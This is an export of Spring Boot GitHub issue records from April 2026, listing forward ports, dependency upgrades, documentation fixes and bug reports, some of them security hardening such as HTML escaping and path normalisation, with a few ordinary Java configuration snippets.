spring-projects/spring-boot,4327735380,Document known testcontainers lifecycle issues ,Forward port of issue #50210 to 4.0.x.,"type: documentation,status: forward-port",2026-04-25T09:47:34Z,2026-04-25T09:47:59Z,0
spring-projects/spring-boot,4327683126,Document adding multiple connectors for Jetty,Forward port of issue #50217 to 4.1.x.,"type: documentation,status: superseded,status: forward-port",2026-04-25T09:22:13Z,2026-04-25T09:22:27Z,0
spring-projects/spring-boot,4327681528,Document adding multiple connectors for Jetty,Forward port of issue #17144 to 4.0.x.,"type: documentation,status: superseded,status: forward-port",2026-04-25T09:21:14Z,2026-04-25T09:22:27Z,0
spring-projects/spring-boot,4327607100,Apply HTML escaping to timestamp attribute in Whitelabel error page,Forward port of issue #50215 to 4.1.x.,"type: bug,status: forward-port",2026-04-25T08:40:24Z,2026-04-25T08:40:37Z,0
spring-projects/spring-boot,4327600461,Apply HTML escaping to timestamp attribute in Whitelabel error page,Forward port of issue #50205 to 4.0.x.,"type: bug,status: forward-port",2026-04-25T08:37:11Z,2026-04-25T08:40:36Z,0
spring-projects/spring-boot,4327395832,Polish InvalidConfigurationPropertyValueException constructor javadoc,Forward port of issue #50213 to 4.1.x.,"type: documentation,status: forward-port",2026-04-25T06:48:09Z,2026-04-25T06:50:52Z,0
spring-projects/spring-boot,4327395229,Polish InvalidConfigurationPropertyValueException constructor javadoc,Forward port of issue #50212 to 4.0.x.,"type: documentation,status: forward-port",2026-04-25T06:47:52Z,2026-04-25T06:50:52Z,0
spring-projects/spring-boot,4327391726,Polish InvalidConfigurationPropertyValueException constructor javadoc,,type: documentation,2026-04-25T06:45:56Z,2026-04-25T06:50:51Z,0
spring-projects/spring-boot,4326851979,Add public constructor to InvalidConfigurationPropertyValueException that accepts a cause,,type: enhancement,2026-04-25T03:08:38Z,2026-04-25T05:47:22Z,0
spring-projects/spring-boot,4325160709,GrpcServerHealthScheduler is not started in servlet environments,While looking at #49830 I discovered that `GrpcServerHealthScheduler` doesn't work in servlet environments because no server started event is fired.,"type: bug,theme: grpc",2026-04-24T19:38:57Z,2026-05-01T04:26:58Z,0
spring-projects/spring-boot,4324649288,FormLogin LoginProcessingUrl not working in SpringBoot 4.0.6,"We attempted to upgrade from SpringBoot 4.0.5 to 4.0.6 yesterday and it broke our formLogin configuration
and POSTs to the `loginProcessingUrl` now return

> Message: The requested resource [/j_spring_security_check] is not available

Snippet of HttpSecurity configuration:
```java
http
    .requestCache(c -> c.requestCache(requestCache()))
    .exceptionHandling(c -> c.authenticationEntryPoint(delegatingAuthenticationEntryPoint()))
    .securityContext(c -> c.securityContextRepository(cookieSecurityContextRepository()))
    .csrf(AbstractHttpConfigurer::disable)
    .authorizeHttpRequests(c -> c
        .requestMatchers(PathPatternRequestMatcher.withDefaults().matcher(""/j_spring_security_check"")).permitAll()
        .anyRequest().authenticated())
    .formLogin(c -> c
        .loginPage(""/login.html"")
        .loginProcessingUrl(""/j_spring_security_check"")
        .usernameParameter(""j_username"")
        .passwordParameter(""j_password"")
        .successHandler(authenticationSuccessHandler())
        .failureHandler(failedAuthenticationHandler()))
    .logout(c -> c
        .logoutUrl(""/j_spring_security_logout"")
        .logoutSuccessHandler(delegatingLogoutSuccessHandler()))
    .headers(c -> c
        .frameOptions(HeadersConfigurer.FrameOptionsConfig::disable)
        .addHeaderWriter(new CacheControlHeaderWriter())
        .httpStrictTransportSecurity(HeadersConfigurer.HstsConfig::disable));
``` ",for: external-project,2026-04-24T17:48:36Z,2026-04-24T19:37:15Z,3
spring-projects/spring-boot,4324148078,Support configuring readOnlyDataSource in LazyConnectionDataSourceProxy via auto-configuration,"**Description**
Spring Boot 4.1.0 introduces auto-configuration for `LazyConnectionDataSourceProxy`. However, there is currently no built-in way to configure a read-only data source for this proxy through auto-configuration or properties.

In scenarios where applications use separate ReadWriteDataSource (primary) and ReadOnlyDataSource (replica), the read-only data source is typically defined with `@Bean(defaultCandidate = false)`. To associate it with `LazyConnectionDataSourceProxy`, developers must manually define a custom DataSource bean and invoke setReadOnlyDataSource(...).

Providing first-class support for configuring the read-only data source via auto-configuration would eliminate this boilerplate and align with Spring Boot’s convention-over-configuration model.

Current WorkAround
```java
DataSource dataSource(final DataSource primaryDataSource, final @Qualifier(""readOnly"") DataSource replicaDataSource) {
    LazyConnectionDataSourceProxy proxy =
            new LazyConnectionDataSourceProxy(primaryDataSource);
    proxy.setReadOnlyDataSource(replicaDataSource);
    return proxy;
}
```

Can you please consider the Enhancement request

**Benefits**

- Eliminates manual bean configuration
- Simplifies multi-datasource (read/write split) setups
- Improves consistency with existing auto-configuration patterns",status: declined,2026-04-24T16:05:57Z,2026-04-25T09:51:24Z,1
spring-projects/spring-boot,4323555456,Setting server.servlet.session.cookie.partitioned=true has no effect when using Tomcat,Forward port of issue #50201 to 4.1.x.,"type: regression,status: forward-port",2026-04-24T14:21:59Z,2026-04-24T14:22:15Z,0
spring-projects/spring-boot,4323093795,Whitelabel error page does not apply HTML escaping to timestamp attribute,"By default, the timestamp attribute is a date and no escaping is required. However, if a user contributes a custom `ErrorAttributes` implementation there is a risk that they may set the `timestamp` to a user-controlled value. We should protect against such a mistake in application code by HTML-escaping the value as we do already for the other attributes.","type: bug,status: superseded",2026-04-24T13:03:59Z,2026-04-24T14:30:11Z,1
spring-projects/spring-boot,4322671803,Setting server.servlet.session.cookie.partitioned=true has no effect when using Tomcat,,type: regression,2026-04-24T11:46:42Z,2026-04-24T14:22:15Z,0
spring-projects/spring-boot,4321076271,Fix typo in Spring Security OAuth2 client registration documentation,Forward port of issue #50198 to 4.1.x.,"type: documentation,status: forward-port",2026-04-24T06:42:01Z,2026-04-24T06:42:11Z,0
spring-projects/spring-boot,4321070682,Fix typo in Spring Security OAuth2 client registration documentation,Forward port of issue #50193 to 4.0.x.,"type: documentation,status: forward-port",2026-04-24T06:40:54Z,2026-04-24T06:42:10Z,0
spring-projects/spring-boot,4321054942,Bump fast-xml-parser from 5.5.11 to 5.7.1 in /antora,Forward port of issue #50196 to 4.1.x.,"type: task,status: forward-port",2026-04-24T06:38:12Z,2026-04-24T06:38:22Z,0
spring-projects/spring-boot,4321054329,Bump fast-xml-parser from 5.5.11 to 5.7.1 in /antora,Forward port of issue #50167 to 4.0.x.,"type: task,status: forward-port",2026-04-24T06:38:04Z,2026-04-24T06:38:21Z,0
spring-projects/spring-boot,4317309247,Consider exposing Path getter in ApplicationTemp,"While reading the release notes for latest version, I learned about ApplicationTemp utility which seems quite useful and even solves a security issue that Sonar is warning about when using `Files.createTemp*` methods with default TEMP dir.

However, `ApplicationTemp` only exposes methods that provide `java.io.File`, but uses `java.nio.files.Path` under the hood. We could use `getFile().toPath()` to get the `Path`, but since the `Path` is already used under the hood, I see no problem in simply providing it directly.

It would be great if the `Path getPath()` method was exposed, so the `ApplicationTemp` could be used with `Files` APIs when creating temp files or directories.

Thanks!","type: enhancement,status: superseded",2026-04-23T16:09:15Z,2026-04-24T11:30:06Z,2
spring-projects/spring-boot,4314436944,Default security is misconfigured when spring-boot-actuator-autoconfigure is present and spring-boot-health is not,Forward port of issue #50188 to 4.1.x.,"type: bug,status: forward-port",2026-04-23T07:57:49Z,2026-04-23T08:10:04Z,0
spring-projects/spring-boot,4314431356,Elasticsearch Rest5Client auto-configuration misconfigures underlying HTTP client,Forward port of issue #50187 to 4.1.x.,"type: bug,status: forward-port",2026-04-23T07:56:53Z,2026-04-23T08:10:03Z,0
spring-projects/spring-boot,4314426834,Default security is misconfigured when spring-boot-actuator-autoconfigure is present and spring-boot-health is not,,type: bug,2026-04-23T07:56:10Z,2026-04-23T08:10:03Z,0
spring-projects/spring-boot,4314425703,Elasticsearch Rest5Client auto-configuration misconfigures underlying HTTP client,,type: bug,2026-04-23T07:55:59Z,2026-04-23T08:10:02Z,0
spring-projects/spring-boot,4314422089,ApplicationPidFileWriter does not handle symlinks correctly,Forward port of issue #50185 to 4.1.x.,"type: bug,status: forward-port",2026-04-23T07:55:18Z,2026-04-23T08:10:01Z,0
spring-projects/spring-boot,4314417413,ApplicationPidFileWriter does not handle symlinks correctly,Forward port of issue #50173 to 4.0.x.,"type: bug,status: forward-port",2026-04-23T07:54:30Z,2026-04-23T08:10:01Z,0
spring-projects/spring-boot,4314406996,RandomValuePropertySource is not suitable for secrets,Forward port of issue #50183 to 4.1.x.,"type: bug,status: forward-port",2026-04-23T07:52:32Z,2026-04-23T08:09:59Z,0
spring-projects/spring-boot,4314403695,RandomValuePropertySource is not suitable for secrets,Forward port of issue #50172 to 4.0.x.,"type: bug,status: forward-port",2026-04-23T07:51:54Z,2026-04-23T08:09:59Z,0
spring-projects/spring-boot,4314396898,Cassandra auto-configuration misconfigures CqlSessionBuilder,Forward port of issue #50180 to 4.1.x.,"type: bug,status: forward-port",2026-04-23T07:50:42Z,2026-04-23T08:09:57Z,0
spring-projects/spring-boot,4314395357,ConfigTreePropertySource.PropertyFileContent does not implement equals/hashCode,"Spring Boot: 4.0.5
Spring Cloud: 2025.1.1

As stated, PropertyFileContent does not implement equals/hashCode.
When combined with Spring Clouds context refresh, this causes all configtree properties to be treated as changed when ContextRefresher#refreshEnvironment checks for changes.

I would expect only those keys to be returned, where the actual content is changed, regardless of the source. The problematic check is in [ContextRefresher#changes](https://github.com/spring-cloud/spring-cloud-commons/blob/169968252ac57855d55f0b300b0256a49d808d21/spring-cloud-context/src/main/java/org/springframework/cloud/context/refresh/ContextRefresher.java#L145).","status: invalid,for: external-project",2026-04-23T07:50:26Z,2026-04-23T08:09:00Z,1
spring-projects/spring-boot,4314391608,Cassandra auto-configuration misconfigures CqlSessionBuilder,Forward port of issue #50171 to 4.0.x.,"type: bug,status: forward-port",2026-04-23T07:49:46Z,2026-04-23T08:09:57Z,0
spring-projects/spring-boot,4314384587,ApplicationTemp does not handle symlinks correctly,Forward port of issue #50178 to 4.1.x.,"type: bug,status: forward-port",2026-04-23T07:48:30Z,2026-04-23T08:09:56Z,0
spring-projects/spring-boot,4314379578,ApplicationTemp does not handle symlinks correctly,Forward port of issue #50170 to 4.0.x.,"type: bug,status: forward-port",2026-04-23T07:47:26Z,2026-04-23T08:09:55Z,0
spring-projects/spring-boot,4314374787,Remote DevTools performs comparison incorrectly,Forward port of issue #50176 to 4.1.x.,"type: bug,status: forward-port",2026-04-23T07:46:35Z,2026-04-23T08:09:54Z,0
spring-projects/spring-boot,4314368365,Remote DevTools performs comparison incorrectly,Forward port of issue #50169 to 4.0.x.,"type: bug,status: forward-port",2026-04-23T07:45:30Z,2026-04-23T08:09:53Z,0
spring-projects/spring-boot,4314363594,spring.rabbitmq.ssl.verify-hostname is applied inconsistently,Forward port of issue #50174 to 4.1.x.,"type: bug,status: forward-port",2026-04-23T07:44:34Z,2026-04-23T08:09:52Z,0
spring-projects/spring-boot,4314358565,spring.rabbitmq.ssl.verify-hostname is applied inconsistently,Forward port of issue #50168 to 4.0.x.,"type: bug,status: forward-port",2026-04-23T07:43:32Z,2026-04-23T08:09:51Z,0
spring-projects/spring-boot,4314339852,ApplicationPidFileWriter does not handle symlinks correctly,,type: bug,2026-04-23T07:39:49Z,2026-04-23T08:10:00Z,0
spring-projects/spring-boot,4314338028,RandomValuePropertySource is not suitable for secrets,,type: bug,2026-04-23T07:39:28Z,2026-04-23T08:09:58Z,0
spring-projects/spring-boot,4314337484,Cassandra auto-configuration misconfigures CqlSessionBuilder,,type: bug,2026-04-23T07:39:22Z,2026-04-23T08:09:56Z,0
spring-projects/spring-boot,4314336795,ApplicationTemp does not handle symlinks correctly,,type: bug,2026-04-23T07:39:15Z,2026-04-23T08:09:54Z,0
spring-projects/spring-boot,4314336138,Remote DevTools performs comparison incorrectly,,type: bug,2026-04-23T07:39:07Z,2026-04-23T08:09:52Z,0
spring-projects/spring-boot,4314335077,spring.rabbitmq.ssl.verify-hostname is applied inconsistently,,type: bug,2026-04-23T07:38:56Z,2026-04-23T08:09:50Z,0
spring-projects/spring-boot,4312707824,Normalize output locations when extracting buildpack layers,Forward port of issue #50164 to 4.1.x.,"type: task,status: forward-port,status: team-only",2026-04-23T01:05:43Z,2026-04-23T01:05:56Z,0
spring-projects/spring-boot,4312707194,Normalize output locations when extracting buildpack layers,Forward port of issue #50141 to 4.0.x.,"type: task,status: forward-port,status: team-only",2026-04-23T01:05:30Z,2026-04-23T01:05:55Z,0
spring-projects/spring-boot,4311577943,Improve handling of malformed LiveReload connection requests,Forward port of issue #50162 to 4.1.x.,"type: task,status: forward-port,status: team-only",2026-04-22T20:07:58Z,2026-04-22T20:08:17Z,0
spring-projects/spring-boot,4311491683,Improve handling of malformed LiveReload connection requests,Forward port of issue #50142 to 4.0.x.,"type: task,status: forward-port,status: team-only",2026-04-22T19:51:33Z,2026-04-22T20:08:16Z,0
spring-projects/spring-boot,4310613320,Upgrade to MySQL 9.7.0,Upgrade to [MySQL 9.7.0](https://dev.mysql.com/doc/relnotes/connector-j/en/news-9-7-0.html).,"type: dependency-upgrade,status: team-only",2026-04-22T17:04:28Z,2026-04-22T17:04:55Z,0
spring-projects/spring-boot,4310612410,Upgrade to MySQL 9.7.0,Upgrade to [MySQL 9.7.0](https://dev.mysql.com/doc/relnotes/connector-j/en/news-9-7-0.html).,"type: dependency-upgrade,status: team-only",2026-04-22T17:04:16Z,2026-04-22T17:04:54Z,0
spring-projects/spring-boot,4310606884,Upgrade to MySQL 9.7.0,Upgrade to [MySQL 9.7.0](https://dev.mysql.com/doc/relnotes/connector-j/en/news-9-7-0.html).,"type: dependency-upgrade,status: team-only",2026-04-22T17:03:20Z,2026-04-22T17:04:53Z,0
spring-projects/spring-boot,4306936358,Upgrade to Spring gRPC 1.1.0-RC1,Upgrade to [Spring gRPC 1.1.0-RC1](https://github.com/spring-projects/spring-grpc/releases/tag/v1.1.0-RC1).,"type: dependency-upgrade,status: team-only",2026-04-22T05:40:08Z,2026-04-22T05:43:03Z,0
spring-projects/spring-boot,4306869736,Upgrade to Thymeleaf Extras SpringSecurity 3.1.5.RELEASE,"Upgrade to Thymeleaf Extras SpringSecurity 3.1.5.RELEASE.

Supersedes #50060","type: dependency-upgrade,status: team-only",2026-04-22T05:22:41Z,2026-04-22T05:37:12Z,0
spring-projects/spring-boot,4306869334,Upgrade to Thymeleaf 3.1.5.RELEASE,"Upgrade to [Thymeleaf 3.1.5.RELEASE](https://github.com/thymeleaf/thymeleaf/releases/tag/thymeleaf-3.1.5.RELEASE).

Supersedes #50059","type: dependency-upgrade,status: team-only",2026-04-22T05:22:36Z,2026-04-22T05:37:12Z,0
spring-projects/spring-boot,4306869106,Upgrade to Lombok 1.18.46,Upgrade to Lombok 1.18.46.,"type: dependency-upgrade,status: team-only",2026-04-22T05:22:32Z,2026-04-22T05:37:11Z,0
spring-projects/spring-boot,4306867432,Upgrade to Thymeleaf Extras SpringSecurity 3.1.5.RELEASE,"Upgrade to Thymeleaf Extras SpringSecurity 3.1.5.RELEASE.

Supersedes #50053","type: dependency-upgrade,status: team-only",2026-04-22T05:22:07Z,2026-04-22T05:37:10Z,0
spring-projects/spring-boot,4306867167,Upgrade to Thymeleaf 3.1.5.RELEASE,"Upgrade to [Thymeleaf 3.1.5.RELEASE](https://github.com/thymeleaf/thymeleaf/releases/tag/thymeleaf-3.1.5.RELEASE).

Supersedes #50052","type: dependency-upgrade,status: team-only",2026-04-22T05:22:02Z,2026-04-22T05:37:10Z,0
spring-projects/spring-boot,4306867110,Upgrade to Thymeleaf Extras SpringSecurity 3.1.5.RELEASE,"Upgrade to Thymeleaf Extras SpringSecurity 3.1.5.RELEASE.

Supersedes #50049","type: dependency-upgrade,status: team-only",2026-04-22T05:22:01Z,2026-04-22T05:37:09Z,0
spring-projects/spring-boot,4306866956,Upgrade to Lombok 1.18.46,Upgrade to Lombok 1.18.46.,"type: dependency-upgrade,status: team-only",2026-04-22T05:21:58Z,2026-04-22T05:37:09Z,0
spring-projects/spring-boot,4306866840,Upgrade to Thymeleaf 3.1.5.RELEASE,"Upgrade to [Thymeleaf 3.1.5.RELEASE](https://github.com/thymeleaf/thymeleaf/releases/tag/thymeleaf-3.1.5.RELEASE).

Supersedes #50048","type: dependency-upgrade,status: team-only",2026-04-22T05:21:56Z,2026-04-22T05:37:08Z,0
spring-projects/spring-boot,4306866601,Upgrade to Lombok 1.18.46,Upgrade to Lombok 1.18.46.,"type: dependency-upgrade,status: team-only",2026-04-22T05:21:51Z,2026-04-22T05:37:07Z,0
spring-projects/spring-boot,4306543511,Update docs to encourage Java fundamentals for beginners that prefer to learn that way,Forward port of issue #50146 to 4.1.x.,"type: documentation,status: forward-port",2026-04-22T03:32:29Z,2026-04-22T03:32:39Z,0
spring-projects/spring-boot,4306543040,Update docs to encourage Java fundamentals for beginners that prefer to learn that way,Forward port of issue #49895 to 4.0.x.,"type: documentation,status: forward-port",2026-04-22T03:32:18Z,2026-04-22T03:32:39Z,0
spring-projects/spring-boot,4306454953,GrpcDisableCsrfHttpConfigurer incorrectly uses inverse of 'spring.grpc.server.security.csrf.enabled' property,It's also missing metadata,"type: bug,theme: grpc",2026-04-22T02:59:57Z,2026-04-22T03:32:36Z,0
spring-projects/spring-boot,4304645902,Upgrade to Spring Session 4.1.0-RC1,Upgrade to [Spring Session 4.1.0-RC1](https://github.com/spring-projects/spring-session/releases/tag/4.1.0-RC1).,"type: dependency-upgrade,status: team-only",2026-04-21T18:44:56Z,2026-04-21T18:45:54Z,0
spring-projects/spring-boot,4301516306,Improve handling of malformed LiveReload connection requests,,"type: task,status: team-only",2026-04-21T09:07:50Z,2026-04-22T20:08:15Z,2
spring-projects/spring-boot,4300866463,Normalize output locations when extracting buildpack layers,"With thanks to @August829 for pointing this out, we should add some output location normalization when extracting buildpack layers.","type: task,status: team-only",2026-04-21T06:57:08Z,2026-04-23T01:05:55Z,0
spring-projects/spring-boot,4297884319,Upgrade to Hibernate 6.6.49.Final,"Upgrade to [Hibernate 6.6.49.Final](https://github.com/hibernate/hibernate-orm/releases/tag/6.6.49).

Supersedes #50047","type: dependency-upgrade,status: team-only",2026-04-20T18:38:27Z,2026-04-20T19:01:14Z,0
spring-projects/spring-boot,4297876237,Upgrade to Testcontainers 2.0.5,Upgrade to [Testcontainers 2.0.5](https://github.com/testcontainers/testcontainers-java/releases/tag/2.0.5).,"type: dependency-upgrade,status: team-only",2026-04-20T18:37:05Z,2026-04-20T19:01:13Z,0
spring-projects/spring-boot,4297875658,Upgrade to Kotlin Serialization 1.11.0,Upgrade to [Kotlin Serialization 1.11.0](https://github.com/Kotlin/kotlinx.serialization/releases/tag/v1.11.0).,"type: dependency-upgrade,status: team-only",2026-04-20T18:37:00Z,2026-04-20T19:01:12Z,0
spring-projects/spring-boot,4297875200,Upgrade to HttpClient5 5.6.1,Upgrade to HttpClient5 5.6.1.,"type: dependency-upgrade,status: team-only",2026-04-20T18:36:56Z,2026-04-20T19:01:11Z,0
spring-projects/spring-boot,4297874393,Upgrade to Hibernate 7.2.12.Final,"Upgrade to [Hibernate 7.2.12.Final](https://github.com/hibernate/hibernate-orm/releases/tag/7.2.12).

Supersedes #50054","type: dependency-upgrade,status: team-only",2026-04-20T18:36:50Z,2026-04-20T19:01:10Z,0
spring-projects/spring-boot,4297867077,Upgrade to Testcontainers 2.0.5,Upgrade to [Testcontainers 2.0.5](https://github.com/testcontainers/testcontainers-java/releases/tag/2.0.5).,"type: dependency-upgrade,status: team-only",2026-04-20T18:35:37Z,2026-04-20T19:01:10Z,0
spring-projects/spring-boot,4297866224,Upgrade to Hibernate 7.2.12.Final,"Upgrade to [Hibernate 7.2.12.Final](https://github.com/hibernate/hibernate-orm/releases/tag/7.2.12).

Supersedes #50050","type: dependency-upgrade,status: team-only",2026-04-20T18:35:31Z,2026-04-20T19:01:08Z,0
spring-projects/spring-boot,4294490120,Normalize layer locations during layer extraction,Forward port of issue #50131 to 4.1.x.,"type: task,status: forward-port",2026-04-20T09:09:27Z,2026-04-20T09:10:32Z,0
spring-projects/spring-boot,4294467331,Normalize layer locations during layer extraction,Forward port of issue #50130 to 4.0.x.,"type: task,status: forward-port",2026-04-20T09:05:31Z,2026-04-20T09:10:31Z,0
spring-projects/spring-boot,4293554671,Normalize layer locations during layer extraction,"With thanks to @swapnilpaliwal-sd for pointing this out, our protection against misconfigured layers metadata is incomplete. It normalizes paths within a layer's directory but does not apply the same normalization to the layer's directory itself.",type: task,2026-04-20T06:27:14Z,2026-04-20T09:10:30Z,0
spring-projects/spring-boot,4293546984,Upgrade to Spring Kafka 3.3.15,Upgrade to [Spring Kafka 3.3.15](https://github.com/spring-projects/spring-kafka/releases/tag/v3.3.15).,"type: dependency-upgrade,status: team-only",2026-04-20T06:25:26Z,2026-04-20T19:01:15Z,0
spring-projects/spring-boot,4293538032,HTTP Service Interface Clients still document that API versioning can be configured via properties,Forward port of issue #50126 to 4.1.x.,"type: documentation,status: forward-port",2026-04-20T06:23:15Z,2026-04-20T06:23:24Z,0
spring-projects/spring-boot,4293531712,API versioning path strategy should be applied path last as it is not meant to yield,Forward port of issue #49800 to 4.1.x.,"type: bug,status: forward-port",2026-04-20T06:21:46Z,2026-04-20T06:21:56Z,0
spring-projects/spring-boot,4293475787,HTTP Service Interface Clients still document that API versioning can be configured via properties,We've decided that this feature is best used with a programmatic builder but we still have an example in the doc that implies this is supported.,type: documentation,2026-04-20T06:07:48Z,2026-04-20T06:23:23Z,0
spring-projects/spring-boot,4289415538,LombokPropertyDescriptor.isMarkedAsNested does not check getter for @NestedConfigurationProperty,"Follow-up to gh-49734 and gh-50096.

`LombokPropertyDescriptor.isMarkedAsNested` only checks the field for
`@NestedConfigurationProperty`, but does not check the getter:

```java
protected boolean isMarkedAsNested(MetadataGenerationEnvironment environment) {
    return environment.getNestedConfigurationPropertyAnnotation(getField()) != null;
}
```

This means if someone places `@NestedConfigurationProperty` on the getter
of a Lombok property the annotation is silently ignored and nested
configuration metadata is not generated.

`ConstructorParameterPropertyDescriptor` and `RecordParameterPropertyDescriptor`
both check field + getter. `LombokPropertyDescriptor` should do the same.

Suggested fix:

```java
protected boolean isMarkedAsNested(MetadataGenerationEnvironment environment) {
    return environment.getNestedConfigurationPropertyAnnotation(getField()) != null
            || environment.getNestedConfigurationPropertyAnnotation(getGetter()) != null;
}
```",status: invalid,2026-04-18T23:05:33Z,2026-04-30T14:45:41Z,6
spring-projects/spring-boot,4287551590,NimbusJwtDecoder silently accepts unknown values for spring.security.oauth2.resourceserver.jwt.jws-algorithms,"### Affects versions
3.5.x, 4.0.x, 4.x (main)

### Summary
`OAuth2ResourceServerJwtConfiguration.jwsAlgorithms(Set)` and its reactive counterpart `ReactiveOAuth2ResourceServerJwkConfiguration.jwsAlgorithms(Set)` map each configured value through `SignatureAlgorithm.from(String)` and add the result directly to the set:

```java
for (String algorithm : this.properties.getJwsAlgorithms()) {
    signatureAlgorithms.add(SignatureAlgorithm.from(algorithm));
}
```

`SignatureAlgorithm.from(String)` returns `null` when the argument is not a recognised algorithm, so the `null` is silently added to the set that is subsequently passed to `NimbusJwtDecoder` / `NimbusReactiveJwtDecoder`.

### Expected behavior
Consistent with the public-key path (`exactlyOneAlgorithm()` in the same class), an unknown algorithm name should fail fast at configuration time with an `InvalidConfigurationPropertyValueException` pointing at `spring.security.oauth2.resourceserver.jwt.jws-algorithms`, so the misconfiguration surfaces immediately.

### Actual behavior
A typo such as `RS265` (instead of `RS256`) is accepted silently and only surfaces later as a confusing verification-time failure at the first authenticated request.

### Suggested fix
Reject unknown algorithm names in both the servlet and reactive `jwsAlgorithms(Set)` methods using the same `InvalidConfigurationPropertyValueException` that `exactlyOneAlgorithm()` already uses. PR to follow against `3.5.x`.",status: superseded,2026-04-18T09:54:27Z,2026-04-19T06:25:29Z,1
spring-projects/spring-boot,4287218847,Bump org.bouncycastle:bcprov-jdk18on from 1.78.1 to 1.84 in /build-plugin/spring-boot-maven-plugin/src/intTest/projects/jar-signed,Forward port of issue #50113 to 4.1.x.,"type: task,status: forward-port",2026-04-18T07:40:24Z,2026-04-18T07:40:33Z,0
spring-projects/spring-boot,4287218597,Bump org.bouncycastle:bcprov-jdk18on from 1.78.1 to 1.84 in /build-plugin/spring-boot-maven-plugin/src/intTest/projects/jar-signed,Forward port of issue #50102 to 4.0.x.,"type: task,status: forward-port",2026-04-18T07:40:17Z,2026-04-18T07:40:32Z,0
spring-projects/spring-boot,4287195787,Bump org.bouncycastle:bcprov-jdk18on from 1.78.1 to 1.84 in /build-plugin/spring-boot-maven-plugin/src/intTest/projects/war-signed,Forward port of issue #50111 to 4.1.x.,"type: task,status: forward-port",2026-04-18T07:31:27Z,2026-04-18T07:31:36Z,0
spring-projects/spring-boot,4287195517,Bump org.bouncycastle:bcprov-jdk18on from 1.78.1 to 1.84 in /build-plugin/spring-boot-maven-plugin/src/intTest/projects/war-signed,Forward port of issue #50101 to 4.0.x.,"type: task,status: forward-port",2026-04-18T07:31:20Z,2026-04-18T07:31:36Z,0
spring-projects/spring-boot,4287008029,Upgrade to jOOQ 3.19.32,Upgrade to [jOOQ 3.19.32](https://github.com/jOOQ/jOOQ/releases/tag/version-3.19.32).,"type: dependency-upgrade,status: team-only",2026-04-18T06:18:37Z,2026-04-18T06:49:05Z,0
spring-projects/spring-boot,4287007908,Upgrade to Jaxen 2.0.1,Upgrade to [Jaxen 2.0.1](https://github.com/jaxen-xpath/jaxen/releases/tag/v2.0.1).,"type: dependency-upgrade,status: team-only",2026-04-18T06:18:33Z,2026-04-18T06:49:05Z,0
spring-projects/spring-boot,4287007834,Upgrade to Spring HATEOAS 3.1.0-RC1,Upgrade to [Spring HATEOAS 3.1.0-RC1](https://github.com/spring-projects/spring-hateoas/releases/tag/3.1.0-RC1).,"type: dependency-upgrade,status: team-only",2026-04-18T06:18:30Z,2026-04-18T06:49:04Z,0
spring-projects/spring-boot,4287007570,Upgrade to jOOQ 3.21.2,"Upgrade to [jOOQ 3.21.2](https://github.com/jOOQ/jOOQ/releases/tag/version-3.21.2).

Supersedes #49932","type: dependency-upgrade,status: team-only",2026-04-18T06:18:25Z,2026-04-18T06:49:02Z,0
spring-projects/spring-boot,4287007437,Upgrade to Jaxen 2.0.1,Upgrade to [Jaxen 2.0.1](https://github.com/jaxen-xpath/jaxen/releases/tag/v2.0.1).,"type: dependency-upgrade,status: team-only",2026-04-18T06:18:21Z,2026-04-18T06:49:02Z,0
spring-projects/spring-boot,4287001148,Upgrade to jOOQ 3.19.32,Upgrade to [jOOQ 3.19.32](https://github.com/jOOQ/jOOQ/releases/tag/version-3.19.32).,"type: dependency-upgrade,status: team-only",2026-04-18T06:16:23Z,2026-04-18T06:49:00Z,0
spring-projects/spring-boot,4287001002,Upgrade to Jaxen 2.0.1,Upgrade to [Jaxen 2.0.1](https://github.com/jaxen-xpath/jaxen/releases/tag/v2.0.1).,"type: dependency-upgrade,status: team-only",2026-04-18T06:16:19Z,2026-04-18T06:48:59Z,0
spring-projects/spring-boot,4280735445,Upgrade to Elasticsearch Client 9.3.4,"Upgrade to [Elasticsearch Client 9.3.4](https://www.elastic.co/docs/release-notes/elasticsearch/clients/java/9-3-4).

Supersedes #50003","type: dependency-upgrade,status: team-only",2026-04-17T06:52:05Z,2026-04-17T06:57:57Z,0
spring-projects/spring-boot,4280709228,Link to the observability section of the Lettuce documentation is broken,Forward port of issue #50097 to 4.1.x.,"type: documentation,status: forward-port",2026-04-17T06:45:55Z,2026-04-17T06:46:05Z,0
spring-projects/spring-boot,4280708376,Link to the observability section of the Lettuce documentation is broken,Forward port of issue #50092 to 4.0.x.,"type: documentation,status: forward-port",2026-04-17T06:45:45Z,2026-04-17T06:46:04Z,0
spring-projects/spring-boot,4278926384,HighCardinalityTagsDetector close method gets called multiple times,"Use Spring Boot 4.0.5 with a project generated by Spring Initializer with `spring-boot-starter-web` and `spring-boot-starter-actuator `dependencies.

Add this meter registry customizer to the main application class

```java
@SpringBootApplication
public class DemoApplication {

  public static void main(String[] args) {
    SpringApplication.run(DemoApplication.class, args);
  }

  @Bean
  MeterRegistryCustomizer<MeterRegistry> metricsCustomizer() {
    return registry -> registry.config()
      .withHighCardinalityTagsDetector();
  }

}
```

Start up the application, then shut it down. I am running using Intellij and stopping the application by using the stop button on the run configuration.

Notice multiple log statements about `HighCardinalityTagsDetector` being shutdown when app is terminated.

**Log output**
```
2026-04-16T16:08:11.890-06:00  INFO 68464 --- [demo] [ionShutdownHook] i.m.c.i.HighCardinalityTagsDetector      : Stopping HighCardinalityTagsDetector
2026-04-16T16:08:11.891-06:00  INFO 68464 --- [demo] [ionShutdownHook] o.s.boot.tomcat.GracefulShutdown         : Commencing graceful shutdown. Waiting for active requests to complete
2026-04-16T16:08:13.907-06:00  INFO 68464 --- [demo] [tomcat-shutdown] o.s.boot.tomcat.GracefulShutdown         : Graceful shutdown complete
2026-04-16T16:08:13.917-06:00  INFO 68464 --- [demo] [ionShutdownHook] i.m.c.i.HighCardinalityTagsDetector      : Stopping HighCardinalityTagsDetector
```

In `MeterRegistry.close()`, the detecto... [TRUNCATED]","status: invalid,for: external-project",2026-04-16T22:40:15Z,2026-04-17T12:57:02Z,2
spring-projects/spring-boot,4274991699,Normalize location when spring init downloads a single file,Forward port of issue #50089 to 4.1.x.,"type: task,status: forward-port",2026-04-16T10:26:01Z,2026-04-16T10:26:16Z,0